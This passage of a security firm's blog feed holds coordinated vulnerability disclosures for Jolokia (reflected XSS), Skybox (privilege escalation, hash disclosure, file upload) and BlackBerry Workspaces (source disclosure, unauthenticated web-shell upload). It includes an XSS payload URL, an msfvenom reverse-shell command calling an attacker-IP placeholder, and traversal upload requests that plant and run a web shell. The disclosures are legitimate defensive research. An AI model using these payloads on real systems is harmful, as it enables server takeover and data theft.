http://localhost:8161/api/jolokia/read<b>&lt;svg%20onload=alert(docu</br>ment.cookie)&gt;</b>?mimeType=text/html
</pre>
<p>With <code>text/html</code> Content Type, the classic reflected XSS attack is possible.  Exploiting this issue allows an attacker to supply arbitrary client-side javascript code within application input parameters that will ultimately be rendered and executed within the end user’s web browser. This can be leveraged to steal cookies in the vulnerable domain and potentially gain unauthorised access to a user&#8217;s authenticated session, alter the content of the vulnerable web page, or compromise the user’s web browser.</p>
<span class="full-image-block ssNonEditable"><span><img style="width: 450px;" src="http://blog.gdssecurity.com/storage/Picture4.png?__SQUARESPACE_CACHEVERSION=1522708870163" alt=""/></span></span>
<h2>And at the end,</h2>
<ul>
<li>
advice for bug hunters – read documentation! Sometimes it’s useful!
</li>
<li>
recommendation for Jolokia users - update the service to version 1.5.0.
</li>
</ul>
<h2>Credits</h2>
Many thanks to Roland Huss from the Jolokia project for working diligently with GDS to mitigate these issues.
]]></description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-36052950.xml</wfw:commentRss></item><item><title>Skybox Vulnerabilities</title><dc:creator>Christopher Furstenburg</dc:creator><pubDate>Thu, 04 Jan 2018 19:52:08 +0000</pubDate><link>http://blog.gdssecurity.com/labs/2018/1/4/skybox-vulnerabilities.html</link><guid isPermaLink="false">936190:11268292:35993755</guid><description><![CDATA[<h2>Overview</h2>
<p>Gotham Digital Science (GDS) recently discovered multiple vulnerabilities that affect the Skybox Manager Client Application and the Skybox Server. These consist of user privilege elevation, arbitrary file upload, password hash disclosure and user enumeration. The following CVEs have been assigned:</p>
<ul>
<li>CVE-2017-14773 - Privilege Elevation During Authentication</li>
<li>CVE-2017-14771 - Arbitrary File Upload</li>
<li>CVE-2017-14770 - Password Hash Disclosure</li>
<li>CVE-2017-14772 - Username Enumeration</li>
</ul>
<p>This post will describe in detail how GDS found these vulnerabilities.</p>
<h2>Vulnerable Versions</h2>
<ul>
<li>Skybox Manager Client Application version 8.5.500 and earlier are vulnerable. </li>
<li>All versions are affected by CVE-2017-14772 </li>
</ul>
<h2>Details</h2>
<p>The Skybox Manager Client is a Java thick application that enables you to determine your network&#8217;s attack surface, perform vulnerability and threat management, maintain firewalls on your network, and manage network change requests.</p>
<p>When testing Java thick applications, it is beneficial to attach a debugger to enable you to step through the application logic and bypass front end validation. Often vendors rely only on front end validation on the client to secure themselves from malicious input, but by having a debugger attached an adversary can change variable values during run time. It is then up to the server to validate the user input. Having a functional client that can be manipulated in this manner is far more efficient than reverse engineering and writing a malicious client.</p>
<h3>How to Attach a debugger to a Java thick application</h3>
<p>We will use the free to use community edition of IntelliJ. In the installation folder of the Skybox application, find all the associated jar files. Once all of them are located, import these into a new project.</p>
<p>With Skybox running, make use of <em>Process Explorer</em> to determine how the application can be run from the command line, this will enable us to restart the application with a listener to enable us to attach to it with the IntelliJ debugger.<br>Using Process Explorer this is what we found:</p>
<p><kbd>"C:\Skybox\app\bin\..\..\thirdparty\jdk1.8.0_66b\bin\javaw"&nbsp;&nbsp; "-Dfile.encoding=UTF-8" "-Djdk.lang.Process.allowAmbigousCommands=true" "-Dawt.useSystemAAFontSettings=on" "-Djava.util.Arrays.useLegacyMergeSort=true" "-Dskybox.enable_preload_enums=true" "-verbose:gc" "-Xloggc:../log/debug/app_gc.log" "-XX:+PrintGCDateStamps" "-XX:+PrintGCDetails" "-XX:+UseGCLogFileRotation" "-XX:NumberOfGCLogFiles=5" "-XX:GCLogFileSize=50M" "-XX:-TraceClassUnloading" "-XX:+DisableExplicitGC" "-XX:+UseTLAB" "-XX:-OmitStackTraceInFastThrow" "-XX:+PrintCommandLineFlags" "-XX:+UseParNewGC" "-XX:+UseConcMarkSweepGC" "-XX:+CMSClassUnloadingEnabled" "-Xms50m" "-Xmx512m" "-Djava.net.preferIPv4Stack=true" -Djava.endorsed.dirs="C:\Skybox\app\bin\..\..\thirdparty\jboss\lib\endorsed" -Djboss.bind.address=0.0.0.0 -Dskyboxview.home="C:\Skybox\app\bin\.." -Dskyboxview.base="C:\Skybox\app\bin\..\.." -Dskyboxview.data="C:\Skybox\app\bin\..\..\data" -Dskyboxview.ds=mysql -Dsree.home="C:\Skybox\app\bin\..\conf" -cp "C:\Skybox\app\bin\..\lib\classpath.ext;C:\Skybox\app\bin\..\lib\classpath.ext;;;;C:\Skybox\app\bin\..\conf;../lib/skyboxview-app.jar" com.skybox.view.app.SkyboxViewApp</kbd></p>
<p>&nbsp;</p>
<p>We then add the following before running the above in the command line:</p>
<p><kbd>-agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005</kbd></p>
<p>&nbsp;</p>
<p>So our command line looks like this:</p>
<p><kbd>"C:\Skybox\app\bin\..\..\thirdparty\jdk1.8.0_66b\bin\java" -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 "-Dfile.encoding=UTF-8" "-Djdk.lang.Process.allowAmbigousCommands=true" "-Dawt.useSystemAAFontSettings=on" "-Djava.util.Arrays.useLegacyMergeSort=true" "-Dskybox.enable_preload_enums=true" "-verbose:gc" "-Xloggc:../log/debug/app_gc.log" "-XX:+PrintGCDateStamps" "-XX:+PrintGCDetails" "-XX:+UseGCLogFileRotation" "-XX:NumberOfGCLogFiles=5" "-XX:GCLogFileSize=50M" "-XX:-TraceClassUnloading" "-XX:+DisableExplicitGC" "-XX:+UseTLAB" "-XX:-OmitStackTraceInFastThrow" "-XX:+PrintCommandLineFlags" "-XX:+UseParNewGC" "-XX:+UseConcMarkSweepGC" "-XX:+CMSClassUnloadingEnabled" "-Xms50m" "-Xmx512m" "-Djava.net.preferIPv4Stack=true" -Djava.endorsed.dirs="C:\Skybox\app\bin\..\..\thirdparty\jboss\lib\endorsed" -Djboss.bind.address=0.0.0.0 -Dskyboxview.home="C:\Skybox\app\bin\.." -Dskyboxview.base="C:\Skybox\app\bin\..\.." -Dskyboxview.data="C:\Skybox\app\bin\..\..\data" -Dskyboxview.ds=mysql -Dsree.home="C:\Skybox\app\bin\..\conf" -cp "C:\Skybox\app\bin\..\lib\classpath.ext;C:\Skybox\app\bin\..\lib\classpath.ext;;;;C:\Skybox\app\bin\..\conf;../lib/skyboxview-app.jar" com.skybox.view.app.SkyboxViewApp</kbd></p>
<p>&nbsp;</p>
<p>Heading over to IntelliJ, we run the debugger for a remote process. Once the debugger is attached you have the ability to navigate the decompiled jar files and find interesting bugs!</p>
<h3>CVE-2017-14773 - Privilege Elevation During Authentication</h3>
<p>Attach a debugger to the application. In the <em>LoginDialog</em> class, place a breakpoint on the following line:</p>
<div style="overflow-x: scroll; whitespace: nowrap; word-wrap: break-word;" mce_style="overflow-x: scroll; whitespace: nowrap; word-wrap: break-word;">
<pre>LoginResult loginResult = HttpBusinessServiceDelegator.loginEx(this.loginName, newPasswd);</pre>
</div>
<p>&nbsp;</p>
<p>This is located at:</p>
<p><kbd>C:\Skybox\app\lib\skyboxview-app.jar!\com\skybox\view\app\login\LoginDialog.class</kbd></p>
<p>&nbsp;</p>
<p><span class="thumbnail-image-block ssNonEditable"><span><a href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fedited-img1.png%3F__SQUARESPACE_CACHEVERSION%3D1510245066765',815,1004);" mce_href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fedited-img1.png%3F__SQUARESPACE_CACHEVERSION%3D1510245066765',815,1004);"><img src="http://blog.gdssecurity.com/storage/thumbnails/10864171-27743798-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1510245066768" mce_src="http://blog.gdssecurity.com/storage/thumbnails/10864171-27743798-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1510245066768" alt=""></a></span></span></p>
<p>&nbsp;</p>
<p>Authenticate as a low privileged user and change the value of this.loginName to that of a another valid user. Below we replaced the user lowpriv with the default administration account, <em>skyboxview</em>:</p>
<p><span class="thumbnail-image-block ssNonEditable"><span><a href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fedited-img2.png%3F__SQUARESPACE_CACHEVERSION%3D1510245170453',808,977);" mce_href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fedited-img2.png%3F__SQUARESPACE_CACHEVERSION%3D1510245170453',808,977);"><img src="http://blog.gdssecurity.com/storage/thumbnails/10864171-27743801-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1510245170455" mce_src="http://blog.gdssecurity.com/storage/thumbnails/10864171-27743801-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1510245170455" alt=""></a></span></span></p>
<p>&nbsp;</p>
<p>A response is then received by the client that contains the hashed password of the substituted user (skyboxview). The server should not return this password hash during password authentication, the password should be validated on the server. This issue has been assigned <strong>CVE-2017-14770</strong> - Password Hash Disclosure.</p>
<p>&nbsp;</p>
<p><span class="full-image-block ssNonEditable"><span><img style="width: 450px;" src="http://blog.gdssecurity.com/storage/edited-img3.png?__SQUARESPACE_CACHEVERSION=1510245278100" mce_src="http://blog.gdssecurity.com/storage/edited-img3.png?__SQUARESPACE_CACHEVERSION=1510245278100" alt=""></span></span><br>Further inspection of the application code revealed that a predictable salt value of <em><strong>123</strong>username<strong>45</strong></em> is used when hashing the password. This code is in the <em>PasswordUtil</em> class:</p>
<p>&nbsp;</p>
<p><kbd>skyboxview-system.jar!\com\skybox\view\system\encryption\PasswordUtil.class</kbd> <span class="thumbnail-image-block ssNonEditable"><span><a href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fedited-img4.png%3F__SQUARESPACE_CACHEVERSION%3D1510245325147',64,1277);" mce_href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fedited-img4.png%3F__SQUARESPACE_CACHEVERSION%3D1510245325147',64,1277);"><img src="http://blog.gdssecurity.com/storage/thumbnails/10864171-27743805-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1510245325149" mce_src="http://blog.gdssecurity.com/storage/thumbnails/10864171-27743805-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1510245325149" alt=""></a></span></span><br>This makes it significantly easier for a threat actor to crack leaked password hashes for predictable user accounts.</p>
<p>&nbsp;</p>
<p>Allowing the login process to continue, the threat actor is then logged in as the target user, in this case an administrator, even though they provided credentials for another account.</p>
<p><span class="thumbnail-image-block ssNonEditable"><span><a href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fimg11.jpg%3F__SQUARESPACE_CACHEVERSION%3D1512742577123',801,1626);"><img style="width: 450px;" src="http://blog.gdssecurity.com/storage/img11.jpg?__SQUARESPACE_CACHEVERSION=1512742577123" alt="" /></a></span></span><br />Now that we have a high privileged account we will try do something malicious with this newly found access.</p>
<p>&nbsp;</p>
<h3>CVE-2017-14771 - Arbitrary File Upload</h3>
<p>With the debugger attached to the thick application. In the file <kbd>C:\Skybox\app\lib\skyboxview-app.jar</kbd> add a breakpoint on the method <em>putFileOnServerAndWarnBeforeOverride</em> in the <em>AppFileManager</em> class.</p>
<p>Generate a reverse shell payload using msfvenom:</p>
<p># <kbd>msfvenom -p windows/shell_reverse_tcp LHOST=&lt;ATTACKER IP&gt; LPORT=&lt;PORT&gt; -f exe -o jps.exe</kbd></p>
<p>GDS observed that the executable jps.exe is periodically run by the Skybox server and thereafter replaced this file with our reverse shell.</p>
<p>Once an upload to the Skybox server is initiated the debugger will pause the client side component and we are able to specify an absolute path for the uploaded file to be saved on the server. The server does not validate the location of the file to be uploaded.</p>
<p><strong>Specifying a file to upload</strong></p>
<p><span class="thumbnail-image-block ssNonEditable"><span><a href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fedited-img6.png%3F__SQUARESPACE_CACHEVERSION%3D1510246201145',799,1256);" mce_href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fedited-img6.png%3F__SQUARESPACE_CACHEVERSION%3D1510246201145',799,1256);"><img src="http://blog.gdssecurity.com/storage/thumbnails/10864171-27743829-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1510246201147" mce_src="http://blog.gdssecurity.com/storage/thumbnails/10864171-27743829-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1510246201147" alt=""></a></span></span></p>
<p><strong>In the debugger</strong></p>
<p>Note the application enforces a relative path of Temp\[file name]’for the variable destinationFileName. However, a threat actor can manipulate this value with a debugger attached.<br><span class="full-image-block ssNonEditable"><span><img style="width: 450px;" src="http://blog.gdssecurity.com/storage/edited-img7.png?__SQUARESPACE_CACHEVERSION=1510245475147" mce_src="http://blog.gdssecurity.com/storage/edited-img7.png?__SQUARESPACE_CACHEVERSION=1510245475147" alt=""></span></span><br>By changing the destinationFileName value to: <kbd>C:\Skybox\thirdparty\jdk1.8.0_66b\bin\jps.exe</kbd> the threat actor will overwrite the original jps.exe with their malicious version.</p>
<p><strong>Edited file path</strong></p>
<p><span class="thumbnail-image-block ssNonEditable"><span><a href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fedited-img8.png%3F__SQUARESPACE_CACHEVERSION%3D1510246251630',823,989);" mce_href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fedited-img8.png%3F__SQUARESPACE_CACHEVERSION%3D1510246251630',823,989);"><img src="http://blog.gdssecurity.com/storage/thumbnails/10864171-27743833-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1510246251632" mce_src="http://blog.gdssecurity.com/storage/thumbnails/10864171-27743833-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1510246251632" alt=""></a></span></span>&nbsp;<br>The user is then presented with a dialog stating that the file was successfully uploaded to /data/temp.</p>
<p><strong>Successful upload</strong></p>
<p><span class="thumbnail-image-block ssNonEditable"><span><a href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fedited-img9.png%3F__SQUARESPACE_CACHEVERSION%3D1510246304352',798,1255);" mce_href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fedited-img9.png%3F__SQUARESPACE_CACHEVERSION%3D1510246304352',798,1255);"><img src="http://blog.gdssecurity.com/storage/thumbnails/10864171-27743839-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1510246304354" mce_src="http://blog.gdssecurity.com/storage/thumbnails/10864171-27743839-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1510246304354" alt=""></a></span></span></p>
<p>The threat actor will then need to listen on their machine for the incoming connection as seen below.</p>
<p><strong>Ncat listening for the incoming connection on port 4443</strong></p>
<p>

<p><span class="thumbnail-image-block ssNonEditable"><span><a href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fimg12.jpg%3F__SQUARESPACE_CACHEVERSION=1512747362586',798,1255);" mce_href="javascript:showFullImage('/storage/img12.jpg?__SQUARESPACE_CACHEVERSION=1512747362586',798,1255);"><img src="http://blog.gdssecurity.com/storage/img12.jpg?__SQUARESPACE_CACHEVERSION=1512747362586" mce_src="http://blog.gdssecurity.com/storage/img12.jpg?__SQUARESPACE_CACHEVERSION=1512747362586" alt=""></a></span></span></p>

</p>
<p>In summary, from a low privileged user GDS has manged to elevate their privileges to that of an administrator, with an added bonus of retrieving this user&#8217;s password hash for later cracking. This allowed uploading of arbitrary files to the Skybox server. By abusing the server&#8217;s trust that the client validated user input, GDS has overwritten an existing file that is executed periodically to gain remote shell access to the Skybox server. A special thanks to Elliot Ward who helped during the early stages of exploitation that lead to the arbitrary file upload vulnerability.
</p>
<h3>Remediation</h3>
<p>GDS recommends that affected users update immediately to version 8.5.501 or later of the application. For more information please see:<br><a href="https://lp.skyboxsecurity.com/rs/440-MPQ-510/images/Skybox_Product_Security_Advisory_9_28_17.pdf">Skybox Product Security Advisory</a></p>
]]></description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-35993755.xml</wfw:commentRss></item><item><title>Remote Code Execution in BlackBerry Workspaces Server</title><category>Infrastructure Security</category><dc:creator>Eric Rafaloff</dc:creator><pubDate>Mon, 16 Oct 2017 19:36:09 +0000</pubDate><link>http://blog.gdssecurity.com/labs/2017/10/16/remote-code-execution-in-blackberry-workspaces-server.html</link><guid isPermaLink="false">936190:11268292:35982928</guid><description><![CDATA[<h2>Overview</h2>

<p>Gotham Digital Science (GDS) has discovered a vulnerability affecting BlackBerry Workspaces Server (formerly WatchDox). Prior to being patched, it was possible to remotely execute arbitrary code by exploiting insecure file upload functionality as an unauthenticated user. Additionally, source code disclosure was possible by issuing an HTTP request for a Node.js file inside of the server’s webroot.</p>

<p>CVE-2017-9367 and CVE-2017-9368 were discovered by Eric Rafaloff during a client engagement conducted by Gotham Digital Science.</p>

<p>BlackBerry&#8217;s security advisory regarding these vulnerabilities is available here: <a href="http://support.blackberry.com/kb/articleDetail?articleNumber=000045696">BSRT-2017-006</a></p>

<h2>Vulnerable Versions</h2>

<p>The following Workspaces Server components are known to be vulnerable:</p>
<ul>
  <li>Appliance-X versions 1.11.2 and earlier</li>
  <li>vApp versions 5.6.0 to 5.6.6</li>
  <li>vApp versions 5.5.9 and earlier</li>
</ul>

<h2>Timeline</h2>
<ul>
  <li>5/10/17 - CVE-2017-9367 and CVE-2017-9368 disclosed to BlackBerry.</li>
  <li>5/10/17 - BlackBerry acknowledges receiving our report.</li>
  <li>5/16/17 - BlackBerry confirms that an investigation has started.</li>
  <li>6/6/17 - BlackBerry confirms the reported security vulnerabilities and communicates that they will be issuing two CVEs.</li>
  <li>6/28/17 - BlackBerry confirms that development has started on fixes for the two reported vulnerabilities, requests delay of disclosure.</li>
  <li>9/6/17 - BlackBerry states that their advisory is expected to be made on September 12th.</li>
  <li>9/7/17 - BlackBerry states that their advisory will need to be pushed back until October 10th, requests additional delay of disclosure.</li>
  <li>9/13/17 - BlackBerry requests additional delay of disclosure to October 16th.</li>
  <li>10/16/17 - GDS and BlackBerry coordinated disclosure.</li>
</ul>

<p>GDS commends BlackBerry for their diligence and consistent communication during the disclosure process.</p>

<h2>Issue Description</h2>

<p>The BlackBerry Workspaces Server offers a file server API, with which files can be uploaded and downloaded. GDS found that by making an unauthenticated HTTP GET request for /fileserver/main.js, it was possible to view the file server’s source code (CVE-2017-9368).</p>

<h3>Reproduction Request #1</h3>
<pre  style="white-space: pre-wrap;">
GET /fileserver/main.js HTTP/1.1
Host: [REMOVED BY GDS]
</pre>

<h3>Reproduction Response #1</h3>
<pre  style="white-space: pre-wrap;">
HTTP/1.1 200 OK
[..snip..]
</pre>

<p>By analyzing this disclosed source code, GDS located a directory traversal vulnerability affecting the saveDocument endpoint of the file server API. This endpoint did not require authentication, and when exploited allowed GDS to obtain remote code execution by uploading a web shell to the server’s webroot (CVE-2017-9367).</p>

<h3>Reproduction Request #2</h3>
<pre style="white-space: pre-wrap;">
POST /fileserver/saveDocument HTTP/1.1
[..snip..]
Content-Type: multipart/form-data; boundary=---------------------------1484231460308104668732082159
Content-Length: 1286
 
-----------------------------1484231460308104668732082159
Content-Disposition: form-data; name="uuid"
 
/../../mnt/filespace/0/whiteLabel/
-----------------------------1484231460308104668732082159
Content-Disposition: form-data; name="fileName"
 
shell.jsp
-----------------------------1484231460308104668732082159
Content-Disposition: form-data; name="store"
 
local
-----------------------------1484231460308104668732082159
Content-Disposition: form-data; name="uploadFile"; filename="test"
 
[..snip..]
-----------------------------1484231460308104668732082159--
</pre>
 
<h3>Reproduction Response #2</h3>
<pre  style="white-space: pre-wrap;">
HTTP/1.1 200 OK
[..snip..]
 
{"success":"true"}
</pre>

<h3>Reproduction Request #3</h3>
<pre  style="white-space: pre-wrap;">
GET /whiteLabel/shell.jsp?cmd=whoami HTTP/1.1
[..snip..]
</pre>

<h3>Reproduction Response #3</h3>
<pre  style="white-space: pre-wrap;">
HTTP/1.1 200 OK
[..snip..]
 
&lt;pre&gt;Command was: &lt;b&gt;whoami&lt;/b&gt;
 
watchdox
&lt;/pre&gt;
</pre>

<h2>Impact</h2>

<p>CVE-2017-9368 allows unauthorized disclosure of application source code. This can be exploited by an unauthenticated user to discover additional security vulnerabilities (such as CVE-2017-9367).</p>

<p>CVE-2017-9367 allows an unauthenticated user to upload and run executable code, and as such can be used to compromise the integrity of the entire application and its data. For example, upon exploitation of this vulnerability, GDS was able to read the contents of the Workspace Server’s database and compromise highly sensitive information.</p>

<h2>Remediation</h2>
<p>GDS recommends that affected users update immediately to a patched version of the product. BlackBerry has confirmed that the following Workspaces Server components are not affected:</p>
<ul>
  <li>Appliance-X version 1.12.0 and later</li>
  <li>Appliance-X version 1.11.3 and later</li>
  <li>vApp version 5.7.2 and later</li>
  <li>vApp version 5.6.7 and later</li>
  <li>vApp version 5.5.10 and later</li>
</ul>
]]></description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-35982928.xml</wfw:commentRss></item></channel></rss>